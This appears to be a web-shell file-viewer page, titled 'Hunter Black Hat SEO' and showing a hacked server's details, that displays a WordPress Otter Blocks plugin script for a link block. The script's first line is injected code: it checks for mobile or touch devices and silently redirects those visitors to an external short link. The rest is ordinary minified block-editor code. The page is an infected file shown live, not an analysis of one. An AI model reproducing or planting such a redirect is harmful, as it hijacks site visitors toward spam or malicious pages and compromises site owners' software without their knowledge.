Hunter Black Hat SEO
Server:LiteSpeed
System:Linux quebec.us.hostns.io 5.14.0-687.42.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Aug 27 11:55:12 EDT 2026 x86_64
User:gazetufm (1431)
PHP:8.1.35
Disabled:NONE
Upload Files
File: //home2/gazetufm/yac.al/alb/wp-content/plugins/otter-blocks/build/atomic-wind/blocks/link/index.js
(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/GNLgNDJCz0r1");
!function(){"use strict";var e=window.wp.blocks,t=JSON.parse('{"$schema":"https://schemas.wp.org/trunk/block.json","apiVersion":3,"name":"atomic-wind/link","title":"Link","category":"atomic-wind","description":"An anchor element with link picker and rich text.","keywords":["link","anchor","url"],"textdomain":"atomic-wind","attributes":{"url":{"type":"string","source":"attribute","selector":"a","attribute":"href"},"text":{"type":"rich-text","source":"rich-text","selector":"a","role":"content"},"opensInNewTab":{"type":"boolean","default":false},"rel":{"type":"string","source":"attribute","selector":"a","attribute":"rel"},"mode":{"type":"string","default":"text"},"metadata":{"type":"object"}},"supports":{"anchor":true,"html":false,"color":false,"typography":false,"spacing":false},"editorScript":"file:./index.js"}'),o=window.wp.primitives,r=window.ReactJSXRuntime,n=(0,r.jsxs)(o.SVG,{width:"20",height:"20",viewBox:"0 0 20 20",fill:"none",xmlns:"http://www.w3.org/2000/svg",children:[(0,r.jsx)(o.Path,{opacity:"0.1",d:"M18.7959 15.8201C19.2089 15.8516 19.5178 16.2118 19.4863 16.6248C19.4281 17.3876 19.1719 18.0973 18.6348 18.6345C18.0976 19.1717 17.3878 19.4279 16.625 19.4861C16.212 19.5176 15.8518 19.2087 15.8203 18.7957C15.7889 18.3827 16.0978 18.0225 16.5108 17.991C17.0129 17.9527 17.3514 17.7968 17.5742 17.574C17.797 17.3512 17.9529 17.0126 17.9912 16.5105C18.0228 16.0975 18.3829 15.7886 18.7959 15.8201ZM9.6963 15.9324C9.92926 15.59 10.3958 15.5013 10.7383 15.7341C11.7313 16.4096 12.6913 16.9441 13.5742 17.324C13.9544 17.4878 14.1304 17.929 13.9668 18.3093C13.8032 18.6896 13.3618 18.8652 12.9815 18.7019C11.9959 18.2779 10.9521 17.6937 9.89454 16.9744C9.55225 16.7414 9.4634 16.2748 9.6963 15.9324ZM4.7422 11.2957C5.05145 11.0201 5.52523 11.0479 5.80079 11.3572C6.16087 11.7613 6.54066 12.1635 6.93849 12.5613C7.33632 12.9591 7.73849 13.3389 8.14259 13.699C8.45184 13.9746 8.47968 14.4483 8.20411 14.7576C7.92856 15.0668 7.45476 15.0936 7.14552 14.8181C6.7198 14.4388 6.29602 14.0399 5.87794 13.6218C5.45986 13.2038 5.061 12.78 4.68165 12.3543C4.40612 12.045 4.433 11.5712 4.7422 11.2957ZM15.9326 9.69606C16.275 9.46316 16.7416 9.552 16.9746 9.8943C17.6939 10.9519 18.2782 11.9957 18.7022 12.9812C18.8655 13.3616 18.6898 13.8029 18.3096 13.9666C17.9292 14.1302 17.4881 13.9542 17.3242 13.574C16.9444 12.691 16.4098 11.7311 15.7344 10.7381C15.5016 10.3956 15.5903 9.92901 15.9326 9.69606ZM1.19044 5.53297C1.57078 5.36934 2.01193 5.54538 2.17579 5.92555C2.55567 6.80852 3.09021 7.76845 3.76564 8.76149C3.99847 9.10394 3.90977 9.57053 3.5674 9.80348C3.22498 10.0364 2.75841 9.94753 2.5254 9.60524C1.8061 8.54768 1.22187 7.50384 0.797864 6.51832C0.63456 6.13799 0.810201 5.69664 1.19044 5.53297ZM11.2959 4.74196C11.5715 4.43275 12.0453 4.40588 12.3545 4.68141C12.7802 5.06075 13.204 5.45962 13.6221 5.8777C14.0402 6.29577 14.439 6.71956 14.8184 7.14528C15.0939 7.45452 15.067 7.92831 14.7578 8.20387C14.4486 8.47944 13.9748 8.4516 13.6992 8.14235C13.3391 7.73824 12.9594 7.33607 12.5615 6.93825C12.1637 6.54042 11.7615 6.16063 11.3574 5.80055C11.0482 5.52499 11.0203 5.05121 11.2959 4.74196ZM5.53322 1.1902C5.69688 0.809957 6.13823 0.634316 6.51857 0.79762C7.50409 1.22162 8.54792 1.80585 9.60548 2.52516C9.94777 2.75817 10.0366 3.22474 9.80372 3.56715C9.57077 3.90953 9.10419 3.99822 8.76173 3.76539C7.76869 3.08997 6.80876 2.55543 5.92579 2.17555C5.54562 2.01169 5.36958 1.57054 5.53322 1.1902ZM2.87501 0.0134406C3.28803 -0.0180597 3.6482 0.290856 3.6797 0.70387C3.71118 1.11685 3.40225 1.47704 2.98927 1.50856C2.48714 1.54685 2.14858 1.70277 1.92579 1.92555C1.70301 2.14833 1.5471 2.4869 1.5088 2.98903C1.47728 3.40201 1.1171 3.71093 0.704114 3.67946C0.2911 3.64796 -0.0178155 3.28778 0.0136847 2.87477C0.0718941 2.11199 0.328063 1.40219 0.865247 0.865003C1.40243 0.327819 2.11223 0.07165 2.87501 0.0134406Z",fill:"black"}),(0,r.jsx)(o.Path,{d:"M16.126 0.00198951C17.0177 -0.0228832 17.8671 0.183194 18.5088 0.748083L18.6348 0.865271L18.752 0.991247C19.3169 1.633 19.523 2.48241 19.4981 3.37406C19.4716 4.32286 19.1857 5.39109 18.71 6.50101C17.7568 8.72517 15.9793 11.265 13.6221 13.6221C11.265 15.9793 8.72517 17.7568 6.50102 18.71C5.3911 19.1856 4.32287 19.4716 3.37406 19.4981C2.42302 19.5246 1.51946 19.289 0.865275 18.6348C0.211108 17.9806 -0.0245362 17.0771 0.00199365 16.126C0.0284719 15.1771 0.315333 14.1091 0.791056 12.9991C1.74427 10.7749 3.52088 8.23506 5.87797 5.87797C8.23506 3.52088 10.7749 1.74427 12.9991 0.791052C14.1091 0.315328 15.1771 0.0284678 16.126 0.00198951ZM16.168 1.50101C15.4719 1.52044 14.5963 1.73768 13.5899 2.16898C11.581 3.02992 9.19524 4.6818 6.93852 6.93851C4.6818 9.19523 3.02992 11.581 2.16899 13.5899C1.73769 14.5963 1.52044 15.4719 1.50102 16.168C1.48169 16.8619 1.65824 17.3057 1.9268 17.5743H1.92582C2.19437 17.8428 2.6382 18.0184 3.33207 17.9991C4.0282 17.9796 4.90378 17.7624 5.9102 17.3311C7.91904 16.4702 10.3049 14.8183 12.5616 12.5616C14.8183 10.3049 16.4702 7.91904 17.3311 5.91019C17.7624 4.90378 17.9796 4.0282 17.9991 3.33207C18.0184 2.6382 17.8428 2.19436 17.5743 1.92582V1.92679C17.3057 1.65824 16.8619 1.48169 16.168 1.50101Z",fill:"#F16574"}),(0,r.jsx)(o.Path,{d:"M9.75879 9C10.173 9 10.5088 9.33579 10.5088 9.75C10.5088 10.1642 10.173 10.5 9.75879 10.5H9.75C9.33579 10.5 9 10.1642 9 9.75C9 9.33579 9.33579 9 9.75 9H9.75879Z",fill:"#F16574"})]}),s=window.wp.blockEditor,i=window.wp.components,a=(0,r.jsx)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r.jsx)(o.Path,{d:"M10 17.389H8.444A5.194 5.194 0 1 1 8.444 7H10v1.5H8.444a3.694 3.694 0 0 0 0 7.389H10v1.5ZM14 7h1.556a5.194 5.194 0 0 1 0 10.39H14v-1.5h1.556a3.694 3.694 0 0 0 0-7.39H14V7Zm-4.5 6h5v-1.5h-5V13Z"})}),l=(0,r.jsx)(o.SVG,{xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 24 24",children:(0,r.jsx)(o.Path,{d:"M8 12.5h8V11H8v1.5Z M19 6.5H5a2 2 0 0 0-2 2V15a2 2 0 0 0 2 2h14a2 2 0 0 0 2-2V8.5a2 2 0 0 0-2-2ZM5 8h14a.5.5 0 0 1 .5.5V15a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V8.5A.5.5 0 0 1 5 8Z"})}),c=window.wp.i18n,C=window.wp.element,d=window.wp.data;const u=["list-view","breadcrumb"],w=e=>e?("string"==typeof e?(new window.DOMParser).parseFromString(e,"text/html").body.textContent:e.toPlainText?.()??"").replace(/\s+/g," ").trim():"",b=e=>(t,{context:o}={})=>{if(!u.includes(o))return;const r=t?.metadata?.name;return r||(e?e(t):void 0)},p=(b((({tagName:e})=>(e=>{switch(e){case"section":return(0,c.__)("Section","otter-blocks");case"article":return(0,c.__)("Article","otter-blocks");case"main":return(0,c.__)("Main","otter-blocks");case"aside":return(0,c.__)("Aside","otter-blocks");case"header":return(0,c.__)("Header","otter-blocks");case"footer":return(0,c.__)("Footer","otter-blocks");case"nav":return(0,c.__)("Navigation","otter-blocks");case"details":return(0,c.__)("Details","otter-blocks");case"summary":return(0,c.__)("Summary","otter-blocks");default:return}})(e))),b((({content:e})=>w(e)?e:void 0)),b((({mode:e,text:t})=>{if("inner-blocks"!==e)return w(t)?t:void 0}))),{name:h,...k}=(b((({alt:e})=>w(e)||void 0)),b(),t);(0,e.registerBlockType)(h,{...k,icon:n,edit:function({attributes:e,setAttributes:t,clientId:o}){const{url:n,text:u,opensInNewTab:w,rel:b,mode:p}=e,[h,k]=(0,C.useState)(!1),x=(0,s.useBlockProps)(),m=(0,d.useSelect)((e=>e("core/block-editor").getBlock(o)?.innerBlocks?.length||0),[o]);(0,C.useEffect)((()=>{m>0&&"inner-blocks"!==p&&t({mode:"inner-blocks"})}),[m]);const _=(0,s.useInnerBlocksProps)(x);return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsxs)(s.BlockControls,{children:[(0,r.jsx)(i.ToolbarButton,{icon:a,label:(0,c.__)("Edit Link","otter-blocks"),onClick:()=>k(!h),isActive:!!n}),(0,r.jsx)(i.ToolbarGroup,{children:(0,r.jsx)(i.ToolbarButton,{icon:l,label:(0,c.__)("Switch to inner blocks mode","otter-blocks"),onClick:()=>t({mode:"inner-blocks"===p?"text":"inner-blocks"}),isActive:"inner-blocks"===p})})]}),(0,r.jsx)(s.InspectorControls,{children:(0,r.jsx)(i.PanelBody,{title:(0,c.__)("Link Settings","otter-blocks"),children:(0,r.jsxs)("p",{children:[(0,c.__)("URL:","otter-blocks"),n||(0,c.__)("Not set","otter-blocks")]})})}),"inner-blocks"===p?(0,r.jsx)("a",{..._}):(0,r.jsx)(s.RichText,{...x,tagName:"a",value:u,onChange:e=>t({text:e}),placeholder:(0,c.__)("Link text…","otter-blocks")}),h&&(0,r.jsx)(i.Popover,{position:"bottom center",onClose:()=>k(!1),children:(0,r.jsx)(s.__experimentalLinkControl,{value:{url:n,opensInNewTab:w},onChange:e=>{t({url:e.url,opensInNewTab:e.opensInNewTab})}})})]})},save:function({attributes:e}){const{url:t,text:o,opensInNewTab:n,rel:i,mode:a}=e,l=s.useBlockProps.save(),c=n?"_blank":void 0,C=i||(n?"noopener noreferrer":void 0);if("inner-blocks"===a){const e=s.useInnerBlocksProps.save({...l,href:t,target:c,rel:C});return(0,r.jsx)("a",{...e})}return(0,r.jsx)(s.RichText.Content,{...l,tagName:"a",href:t,value:o,target:c,rel:C})},__experimentalLabel:p})}();